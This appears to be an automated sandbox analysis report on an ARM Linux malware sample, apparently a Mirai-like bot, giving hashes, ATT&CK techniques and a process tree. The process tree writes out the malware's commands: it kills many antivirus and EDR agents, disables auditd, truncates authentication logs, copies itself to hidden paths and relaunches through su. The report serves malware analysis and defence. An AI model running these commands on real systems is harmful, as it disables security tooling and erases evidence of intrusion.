3a7a7cfd5b57fdd11e49d466ccc87b06d50095751dfbcd6a6fdac2a985ba0e75

Analysis

max time kernel
150s
max time network
152s
platform
debian-12_armhf
resource
debian12-armhf-20260127-en
resource tags

arch:armhfimage:debian12-armhf-20260127-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
submitted
23/09/2026, 17:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xdzlewkx.armv6.elf
Size 921KB
Sample260923-vtsk7atygs
SHA256 3a7a7cfd5b57fdd11e49d466ccc87b06d50095751dfbcd6a6fdac2a985ba0e75
MD5 3df80e058203e7440c0ba9787f3424c6
SHA1 de57d6ff359c2fc765494d10c7c5314bc4e18e9a
SHA512 6c7e46cb88f0c4651b43e36f5216a6488dc21e79f2ea3ff05e7472199e9f2e4c763cd7e12d55f66fe2350d0959ef4f71f2bad578d3d30cf8e3c8e949b957f3cc
SSDEEP 24576:mAnTnXwip3lj9kOykA0a+baburh1XX6k2fknuQ6Jz:rdpwOk0X6k2fkOJz
TLSH
T1CB153B55F8909F63C5D4677AFA5E82AC33234778C3E7720599148B383B97A2F0B3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

Contacts a large (517) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
868	sh
870	chmod

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	xdzlewkx.armv6.elf
File opened for modification	/dev/misc/watchdog	xdzlewkx.armv6.elf

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	su

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/sys/class/dmi/id/board_vendor	xdzlewkx.armv6.elf
File opened for reading	/sys/class/dmi/id/product_name	xdzlewkx.armv6.elf
File opened for reading	/sys/class/dmi/id/sys_vendor	xdzlewkx.armv6.elf
File opened for reading	/sys/class/dmi/id/bios_vendor	xdzlewkx.armv6.elf

Deletes log files 1 TTPs 4 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/auth*	truncate
File truncated	/var/log/secure	truncate
File truncated	/var/log/wtmp	truncate
File truncated	/var/log/lastlog	truncate

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 2 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/lo/address	xdzlewkx.armv6.elf
File opened for reading	/sys/class/net/eth0/address	xdzlewkx.armv6.elf

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[watchdogd]	845	xdzlewkx.armv6.elf

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	xdzlewkx.armv6.elf
File opened for reading	/proc/cpuinfo	mailq

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	xdzlewkx.armv6.elf

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	xdzlewkx.armv6.elf

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/36/ctty	pkill
File opened for reading	/proc/9/ctty	pkill
File opened for reading	/proc/33/cmdline	pkill
File opened for reading	/proc/1005/ctty	pkill
File opened for reading	/proc/1027/status	pkill
File opened for reading	/proc/357/cmdline	pkill
File opened for reading	/proc/25/ctty	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/316/cgroup	pkill
File opened for reading	/proc/623/stat	pkill
File opened for reading	/proc/787/cmdline	pkill
File opened for reading	/proc/341/ctty	pkill
File opened for reading	/proc/341/cmdline	pkill
File opened for reading	/proc/1127/cmdline	pkill
File opened for reading	/proc/1127/cmdline	pkill
File opened for reading	/proc/341/cgroup	pkill
File opened for reading	/proc/30/cgroup	pkill
File opened for reading	/proc/787/cgroup	pkill
File opened for reading	/proc/913/status	pkill
File opened for reading	/proc/671/cmdline	pkill
File opened for reading	/proc/341/stat	pkill
File opened for reading	/proc/14/cgroup	pkill
File opened for reading	/proc/357/cmdline	pkill
File opened for reading	/proc/31/ctty	pkill
File opened for reading	/proc/895/ctty	pkill
File opened for reading	/proc/907/stat	pkill
File opened for reading	/proc/989/ctty	pkill
File opened for reading	/proc/341/cgroup	pkill
File opened for reading	/proc/1013/status	pkill
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/12/stat	pkill
File opened for reading	/proc/785/status	pkill
File opened for reading	/proc/640/stat	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/29/stat	pkill
File opened for reading	/proc/7/ctty	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/19/stat	pkill
File opened for reading	/proc/51/cmdline	pkill
File opened for reading	/proc/625/cgroup	pkill
File opened for reading	/proc/332/cgroup	pkill
File opened for reading	/proc/2/cgroup	pkill
File opened for reading	/proc/32/ctty	pkill
File opened for reading	/proc/46/cgroup	pkill
File opened for reading	/proc/3/stat	pkill
File opened for reading	/proc/783/status	pkill
File opened for reading	/proc/357/status	pkill
File opened for reading	/proc/251/stat	pkill
File opened for reading	/proc/787/status	pkill
File opened for reading	/proc/143/cmdline	pkill
File opened for reading	/proc/337/cgroup	pkill
File opened for reading	/proc/9/ctty	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/44/cgroup	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/787/status	pkill
File opened for reading	/proc/51/stat	pkill
File opened for reading	/proc/332/ctty	pkill
File opened for reading	/proc/369/status	pkill
File opened for reading	/proc/9/cgroup	pkill
File opened for reading	/proc/tty/drivers	pkill
File opened for reading	/proc/6/ctty	pkill
File opened for reading	/proc/767/status	pkill

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1073	sh
1074	pkill
1116	sh
1117	pkill

/tmp/xdzlewkx.armv6.elf
/tmp/xdzlewkx.armv6.elf
1⤵
- Modifies Watchdog functionality
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:787
- /bin/sh
  sh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:868
- - /usr/bin/cp
    cp /proc/self/exe /var/.z
    3⤵
    PID:869
- - /usr/bin/chmod
    chmod +x /var/.z
    3⤵
    - File and Directory Permissions Modification
    PID:870
- /bin/sh
  sh -c -- "pkill -9 -x kavsvc 2>/dev/null &"
  2⤵
  PID:872
- /bin/sh
  sh -c -- "pkill -9 -x kavf4 2>/dev/null &"
  2⤵
  PID:874
- /bin/sh
  sh -c -- "pkill -9 -x kavguard 2>/dev/null &"
  2⤵
  PID:876
- /bin/sh
  sh -c -- "pkill -9 -x avp 2>/dev/null &"
  2⤵
  PID:878
- /bin/sh
  sh -c -- "pkill -9 -x avp5 2>/dev/null &"
  2⤵
  PID:880
- /bin/sh
  sh -c -- "pkill -9 -x avp6 2>/dev/null &"
  2⤵
  PID:882
- /bin/sh
  sh -c -- "pkill -9 -x msvsc 2>/dev/null &"
  2⤵
  PID:884
- /bin/sh
  sh -c -- "pkill -9 -x msasc 2>/dev/null &"
  2⤵
  PID:886
- /bin/sh
  sh -c -- "pkill -9 -x msmpeng 2>/dev/null &"
  2⤵
  PID:888
- /bin/sh
  sh -c -- "pkill -9 -x msseces 2>/dev/null &"
  2⤵
  PID:890
- /bin/sh
  sh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"
  2⤵
  PID:892
- /bin/sh
  sh -c -- "pkill -9 -x avast 2>/dev/null &"
  2⤵
  PID:894
- /bin/sh
  sh -c -- "pkill -9 -x avast5 2>/dev/null &"
  2⤵
  PID:896
- /bin/sh
  sh -c -- "pkill -9 -x avast6 2>/dev/null &"
  2⤵
  PID:898
- /bin/sh
  sh -c -- "pkill -9 -x avastsvc 2>/dev/null &"
  2⤵
  PID:900
- /bin/sh
  sh -c -- "pkill -9 -x ash 2>/dev/null &"
  2⤵
  PID:902
- /bin/sh
  sh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"
  2⤵
  PID:904
- /bin/sh
  sh -c -- "pkill -9 -x avgnt 2>/dev/null &"
  2⤵
  PID:906
- /bin/sh
  sh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"
  2⤵
  PID:908
- /bin/sh
  sh -c -- "pkill -9 -x avgnt2 2>/dev/null &"
  2⤵
  PID:910
- /bin/sh
  sh -c -- "pkill -9 -x avgnt3 2>/dev/null &"
  2⤵
  PID:912
- /bin/sh
  sh -c -- "pkill -9 -x clamd 2>/dev/null &"
  2⤵
  PID:914
- /bin/sh
  sh -c -- "pkill -9 -x clamdscan 2>/dev/null &"
  2⤵
  PID:916
- /bin/sh
  sh -c -- "pkill -9 -x clamonacc 2>/dev/null &"
  2⤵
  PID:918
- /bin/sh
  sh -c -- "pkill -9 -x f-prot 2>/dev/null &"
  2⤵
  PID:920
- /bin/sh
  sh -c -- "pkill -9 -x f-prot64 2>/dev/null &"
  2⤵
  PID:922
- /bin/sh
  sh -c -- "pkill -9 -x f-sport 2>/dev/null &"
  2⤵
  PID:924
- /bin/sh
  sh -c -- "pkill -9 -x f-sport64 2>/dev/null &"
  2⤵
  PID:926
- /bin/sh
  sh -c -- "pkill -9 -x smon 2>/dev/null &"
  2⤵
  PID:928
- /bin/sh
  sh -c -- "pkill -9 -x smon2 2>/dev/null &"
  2⤵
  PID:930
- /bin/sh
  sh -c -- "pkill -9 -x smon3 2>/dev/null &"
  2⤵
  PID:932
- /bin/sh
  sh -c -- "pkill -9 -x mcs 2>/dev/null &"
  2⤵
  PID:934
- /bin/sh
  sh -c -- "pkill -9 -x mcs2 2>/dev/null &"
  2⤵
  PID:936
- /bin/sh
  sh -c -- "pkill -9 -x mcs3 2>/dev/null &"
  2⤵
  PID:938
- /bin/sh
  sh -c -- "pkill -9 -x navpsv32 2>/dev/null &"
  2⤵
  PID:940
- /bin/sh
  sh -c -- "pkill -9 -x navpsv64 2>/dev/null &"
  2⤵
  PID:942
- /bin/sh
  sh -c -- "pkill -9 -x navw32 2>/dev/null &"
  2⤵
  PID:944
- /bin/sh
  sh -c -- "pkill -9 -x navw64 2>/dev/null &"
  2⤵
  PID:946
- /bin/sh
  sh -c -- "pkill -9 -x avp.exe 2>/dev/null &"
  2⤵
  PID:948
- /bin/sh
  sh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"
  2⤵
  PID:950
- /bin/sh
  sh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"
  2⤵
  PID:952
- /bin/sh
  sh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"
  2⤵
  PID:954
- /bin/sh
  sh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"
  2⤵
  PID:956
- /bin/sh
  sh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"
  2⤵
  PID:958
- /bin/sh
  sh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"
  2⤵
  PID:960
- /bin/sh
  sh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"
  2⤵
  PID:962
- /bin/sh
  sh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"
  2⤵
  PID:964
- /bin/sh
  sh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"
  2⤵
  PID:966
- /bin/sh
  sh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"
  2⤵
  PID:968
- /bin/sh
  sh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"
  2⤵
  PID:970
- /bin/sh
  sh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"
  2⤵
  PID:972
- /bin/sh
  sh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"
  2⤵
  PID:974
- /bin/sh
  sh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"
  2⤵
  PID:976
- /bin/sh
  sh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"
  2⤵
  PID:978
- /bin/sh
  sh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"
  2⤵
  PID:980
- /bin/sh
  sh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"
  2⤵
  PID:982
- /bin/sh
  sh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"
  2⤵
  PID:984
- /bin/sh
  sh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"
  2⤵
  PID:986
- /bin/sh
  sh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"
  2⤵
  PID:988
- /bin/sh
  sh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"
  2⤵
  PID:990
- /bin/sh
  sh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"
  2⤵
  PID:992
- /bin/sh
  sh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"
  2⤵
  PID:994
- /bin/sh
  sh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"
  2⤵
  PID:996
- /bin/sh
  sh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"
  2⤵
  PID:998
- /bin/sh
  sh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"
  2⤵
  PID:1000
- /bin/sh
  sh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"
  2⤵
  PID:1002
- /bin/sh
  sh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"
  2⤵
  PID:1004
- /bin/sh
  sh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"
  2⤵
  PID:1006
- /bin/sh
  sh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"
  2⤵
  PID:1008
- /bin/sh
  sh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"
  2⤵
  PID:1010
- /bin/sh
  sh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"
  2⤵
  PID:1012
- /bin/sh
  sh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"
  2⤵
  PID:1014
- /bin/sh
  sh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"
  2⤵
  PID:1016
- /bin/sh
  sh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"
  2⤵
  PID:1018
- /bin/sh
  sh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"
  2⤵
  PID:1020
- /bin/sh
  sh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"
  2⤵
  PID:1022
- /bin/sh
  sh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"
  2⤵
  PID:1024
- /bin/sh
  sh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"
  2⤵
  PID:1026
- /bin/sh
  sh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"
  2⤵
  PID:1028
- /bin/sh
  sh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"
  2⤵
  PID:1030
- /bin/sh
  sh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"
  2⤵
  PID:1032
- /bin/sh
  sh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"
  2⤵
  PID:1034
- /bin/sh
  sh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"
  2⤵
  PID:1036
- /bin/sh
  sh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"
  2⤵
  PID:1038
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"
  2⤵
  PID:1041
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"
  2⤵
  PID:1043
- /bin/sh
  sh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"
  2⤵
  PID:1045
- /bin/sh
  sh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"
  2⤵
  PID:1047
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"
  2⤵
  PID:1049
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"
  2⤵
  PID:1051
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"
  2⤵
  PID:1053
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"
  2⤵
  PID:1055
- /bin/sh
  sh -c -- "pkill -9 -f [x]agt 2>/dev/null &"
  2⤵
  PID:1057
- /bin/sh
  sh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"
  2⤵
  PID:1059
- /bin/sh
  sh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"
  2⤵
  PID:1061
- /bin/sh
  sh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"
  2⤵
  PID:1063
- /bin/sh
  sh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"
  2⤵
  PID:1065
- /bin/sh
  sh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"
  2⤵
  PID:1067
- /bin/sh
  sh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"
  2⤵
  PID:1069
- /bin/sh
  sh -c -- "pkill -9 -f [m]datp 2>/dev/null &"
  2⤵
  PID:1071
- /bin/sh
  sh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1073
- /bin/sh
  sh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"
  2⤵
  PID:1075
- /bin/sh
  sh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"
  2⤵
  PID:1077
- /bin/sh
  sh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"
  2⤵
  PID:1079
- /bin/sh
  sh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"
  2⤵
  PID:1081
- /bin/sh
  sh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"
  2⤵
  PID:1083
- /bin/sh
  sh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"
  2⤵
  PID:1085
- /bin/sh
  sh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"
  2⤵
  PID:1087
- /bin/sh
  sh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"
  2⤵
  PID:1089
- /bin/sh
  sh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"
  2⤵
  PID:1091
- /bin/sh
  sh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"
  2⤵
  PID:1093
- /bin/sh
  sh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"
  2⤵
  PID:1095
- /bin/sh
  sh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"
  2⤵
  PID:1097
- /bin/sh
  sh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"
  2⤵
  PID:1099
- /bin/sh
  sh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"
  2⤵
  PID:1101
- /bin/sh
  sh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"
  2⤵
  PID:1103
- - /usr/bin/pkill
    pkill -9 "[a]uditd"
    3⤵
    - Reads runtime system information
    PID:1105
- /bin/sh
  sh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"
  2⤵
  PID:1108
- /bin/sh
  sh -c -- "pkill -9 -x mirai 2>/dev/null &"
  2⤵
  PID:1112
- /bin/sh
  sh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"
  2⤵
  PID:1114
- /bin/sh
  sh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1116
- /bin/sh
  sh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"
  2⤵
  PID:1118
- /bin/sh
  sh -c -- "pkill -9 -x gafgyt 2>/dev/null &"
  2⤵
  PID:1120
- /bin/sh
  sh -c -- "pkill -9 -x bashlite 2>/dev/null &"
  2⤵
  PID:1122
- /bin/sh
  sh -c -- "pkill -9 -x tsunami 2>/dev/null &"
  2⤵
  PID:1124
- /bin/sh
  sh -c -- "pkill -9 -x hakai 2>/dev/null &"
  2⤵
  PID:1126
- /bin/sh
  sh -c -- "pkill -9 -x sora 2>/dev/null &"
  2⤵
  PID:1128
- /bin/sh
  sh -c -- "pkill -9 -x qbot 2>/dev/null &"
  2⤵
  PID:1130
- /bin/sh
  sh -c -- "pkill -9 -x astaroth 2>/dev/null &"
  2⤵
  PID:1132
- /bin/sh
  sh -c -- "pkill -9 -x ozyman 2>/dev/null &"
  2⤵
  PID:1134
- /bin/sh
  sh -c -- "pkill -9 -x nihappy 2>/dev/null &"
  2⤵
  PID:1136
- /bin/sh
  sh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"
  2⤵
  PID:1138
- - /usr/bin/unlink
    unlink /proc/self/exe
    3⤵
    PID:1139
- - /usr/bin/unlink
    unlink /proc/self/fd/0
    3⤵
    PID:1142
- - /usr/bin/unlink
    unlink /proc/self/fd/1
    3⤵
    PID:1143
- - /usr/bin/unlink
    unlink /proc/self/fd/10
    3⤵
    PID:1145
- - /usr/bin/unlink
    unlink /proc/self/fd/11
    3⤵
    PID:1147
- - /usr/bin/unlink
    unlink /proc/self/fd/12
    3⤵
    PID:1150
- - /usr/bin/unlink
    unlink /proc/self/fd/13
    3⤵
    PID:1153
- - /usr/bin/unlink
    unlink /proc/self/fd/14
    3⤵
    PID:1154
- - /usr/bin/unlink
    unlink /proc/self/fd/15
    3⤵
    PID:1155
- - /usr/bin/unlink
    unlink /proc/self/fd/16
    3⤵
    PID:1157
- - /usr/bin/unlink
    unlink /proc/self/fd/17
    3⤵
    PID:1163
- - /usr/bin/unlink
    unlink /proc/self/fd/18
    3⤵
    PID:1165
- - /usr/bin/unlink
    unlink /proc/self/fd/19
    3⤵
    PID:1167
- - /usr/bin/unlink
    unlink /proc/self/fd/2
    3⤵
    PID:1171
- - /usr/bin/unlink
    unlink /proc/self/fd/20
    3⤵
    PID:1179
- - /usr/bin/unlink
    unlink /proc/self/fd/21
    3⤵
    PID:1180
- - /usr/bin/unlink
    unlink /proc/self/fd/22
    3⤵
    PID:1183
- - /usr/bin/unlink
    unlink /proc/self/fd/23
    3⤵
    PID:1184
- - /usr/bin/unlink
    unlink /proc/self/fd/24
    3⤵
    PID:1185
- - /usr/bin/unlink
    unlink /proc/self/fd/25
    3⤵
    PID:1186
- - /usr/bin/unlink
    unlink /proc/self/fd/26
    3⤵
    PID:1187
- - /usr/bin/unlink
    unlink /proc/self/fd/27
    3⤵
    PID:1188
- - /usr/bin/unlink
    unlink /proc/self/fd/28
    3⤵
    PID:1189
- - /usr/bin/unlink
    unlink /proc/self/fd/29
    3⤵
    PID:1190
- - /usr/bin/unlink
    unlink /proc/self/fd/3
    3⤵
    PID:1192
- - /usr/bin/unlink
    unlink /proc/self/fd/30
    3⤵
    PID:1193
- - /usr/bin/unlink
    unlink /proc/self/fd/31
    3⤵
    PID:1194
- /bin/sh
  sh -c -- "/usr/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"
  2⤵
  PID:1144
- - /usr/bin/mailq
    /usr/bin/mailq -c "exec /tmp/.z &"
    3⤵
    - Checks CPU configuration
    PID:1146
- /bin/sh
  sh -c -- "/usr/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"
  2⤵
  PID:1169
- - /usr/bin/mount
    /usr/bin/mount -c "exec /tmp/.z &"
    3⤵
    PID:1173
- /bin/sh
  sh -c -- "/usr/bin/su -c 'exec /tmp/.z &' 2>/dev/null"
  2⤵
  PID:1181
- - /usr/bin/su
    /usr/bin/su -c "exec /tmp/.z &"
    3⤵
    - OS Credential Dumping
    PID:1182
  - - /bin/bash
      bash -c "exec /tmp/.z &"
      4⤵
      PID:1191

/usr/bin/pkill
pkill -9 -x kavsvc
1⤵
- Reads runtime system information
PID:873

/usr/bin/pkill
pkill -9 -x kavf4
1⤵
- Reads runtime system information
PID:875

/usr/bin/pkill
pkill -9 -x kavguard
1⤵
PID:877

/usr/bin/pkill
pkill -9 -x avp
1⤵
PID:879

/usr/bin/pkill
pkill -9 -x avp5
1⤵
PID:881

/usr/bin/pkill
pkill -9 -x avp6
1⤵
PID:883

/usr/bin/pkill
pkill -9 -x msvsc
1⤵
- Reads runtime system information
PID:885

/usr/bin/pkill
pkill -9 -x msasc
1⤵
PID:887

/usr/bin/pkill
pkill -9 -x msmpeng
1⤵
- Reads runtime system information
PID:889

/usr/bin/pkill
pkill -9 -x msseces
1⤵
- Reads runtime system information
PID:891

/usr/bin/pkill
pkill -9 -x msseces.exe
1⤵
PID:893

/usr/bin/pkill
pkill -9 -x avast
1⤵
- Reads runtime system information
PID:895

/usr/bin/pkill
pkill -9 -x avast5
1⤵
- Reads runtime system information
PID:897

/usr/bin/pkill
pkill -9 -x avast6
1⤵
- Reads runtime system information
PID:899

/usr/bin/pkill
pkill -9 -x avastsvc
1⤵
PID:901

/usr/bin/pkill
pkill -9 -x ash
1⤵
- Reads runtime system information
PID:903

/usr/bin/pkill
pkill -9 -x ashmaisv
1⤵
PID:905

/usr/bin/pkill
pkill -9 -x avgnt
1⤵
- Reads runtime system information
PID:907

/usr/bin/pkill
pkill -9 -x avgnt.exe
1⤵
- Reads runtime system information
PID:909

/usr/bin/pkill
pkill -9 -x avgnt2
1⤵
- Reads runtime system information
PID:911

/usr/bin/pkill
pkill -9 -x avgnt3
1⤵
- Reads runtime system information
PID:913

/usr/bin/pkill
pkill -9 -x clamd
1⤵
- Reads runtime system information
PID:915

/usr/bin/pkill
pkill -9 -x clamdscan
1⤵
PID:917

/usr/bin/pkill
pkill -9 -x clamonacc
1⤵
PID:919

/usr/bin/pkill
pkill -9 -x f-prot
1⤵
PID:921

/usr/bin/pkill
pkill -9 -x f-prot64
1⤵
- Reads runtime system information
PID:923

/usr/bin/pkill
pkill -9 -x f-sport
1⤵
- Reads runtime system information
PID:925

/usr/bin/pkill
pkill -9 -x f-sport64
1⤵
PID:927

/usr/bin/pkill
pkill -9 -x smon
1⤵
- Reads runtime system information
PID:929

/usr/bin/pkill
pkill -9 -x smon2
1⤵
- Reads runtime system information
PID:931

/usr/bin/pkill
pkill -9 -x smon3
1⤵
- Reads runtime system information
PID:933

/usr/bin/pkill
pkill -9 -x mcs
1⤵
- Reads runtime system information
PID:935

/usr/bin/pkill
pkill -9 -x mcs2
1⤵
PID:937

/usr/bin/pkill
pkill -9 -x mcs3
1⤵
- Reads runtime system information
PID:939

/usr/bin/pkill
pkill -9 -x navpsv32
1⤵
PID:941

/usr/bin/pkill
pkill -9 -x navpsv64
1⤵
PID:943

/usr/bin/pkill
pkill -9 -x navw32
1⤵
- Reads runtime system information
PID:945

/usr/bin/pkill
pkill -9 -x navw64
1⤵
- Reads runtime system information
PID:947

/usr/bin/pkill
pkill -9 -x avp.exe
1⤵
- Reads runtime system information
PID:949

/usr/bin/pkill
pkill -9 -x avpsvc.exe
1⤵
- Reads runtime system information
PID:951

/usr/bin/pkill
pkill -9 -x avpcc.exe
1⤵
PID:953

/usr/bin/pkill
pkill -9 -x avpm.exe
1⤵
PID:955

/usr/bin/pkill
pkill -9 -x avp9.exe
1⤵
PID:957

/usr/bin/pkill
pkill -9 -x avp10.exe
1⤵
PID:959

/usr/bin/pkill
pkill -9 -x avp11.exe
1⤵
PID:961

/usr/bin/pkill
pkill -9 -x avp12.exe
1⤵
PID:963

/usr/bin/pkill
pkill -9 -x avp13.exe
1⤵
PID:965

/usr/bin/pkill
pkill -9 -x avp14.exe
1⤵
PID:967

/usr/bin/pkill
pkill -9 -x avp15.exe
1⤵
PID:969

/usr/bin/pkill
pkill -9 -x avp16.exe
1⤵
PID:971

/usr/bin/pkill
pkill -9 -x avp17.exe
1⤵
PID:973

/usr/bin/pkill
pkill -9 -x avp18.exe
1⤵
PID:975

/usr/bin/pkill
pkill -9 -x avp19.exe
1⤵
- Reads runtime system information
PID:977

/usr/bin/pkill
pkill -9 -x avp20.exe
1⤵
PID:979

/usr/bin/pkill
pkill -9 -x avp21.exe
1⤵
PID:981

/usr/bin/pkill
pkill -9 -x avp22.exe
1⤵
- Reads runtime system information
PID:983

/usr/bin/pkill
pkill -9 -x avp23.exe
1⤵
PID:985

/usr/bin/pkill
pkill -9 -x avp24.exe
1⤵
PID:987

/usr/bin/pkill
pkill -9 -x avp25.exe
1⤵
- Reads runtime system information
PID:989

/usr/bin/pkill
pkill -9 -x avp26.exe
1⤵
PID:991

/usr/bin/pkill
pkill -9 -x avp27.exe
1⤵
PID:993

/usr/bin/pkill
pkill -9 -x avp28.exe
1⤵
PID:995

/usr/bin/pkill
pkill -9 -x avp29.exe
1⤵
- Reads runtime system information
PID:997

/usr/bin/pkill
pkill -9 -x avp30.exe
1⤵
PID:999

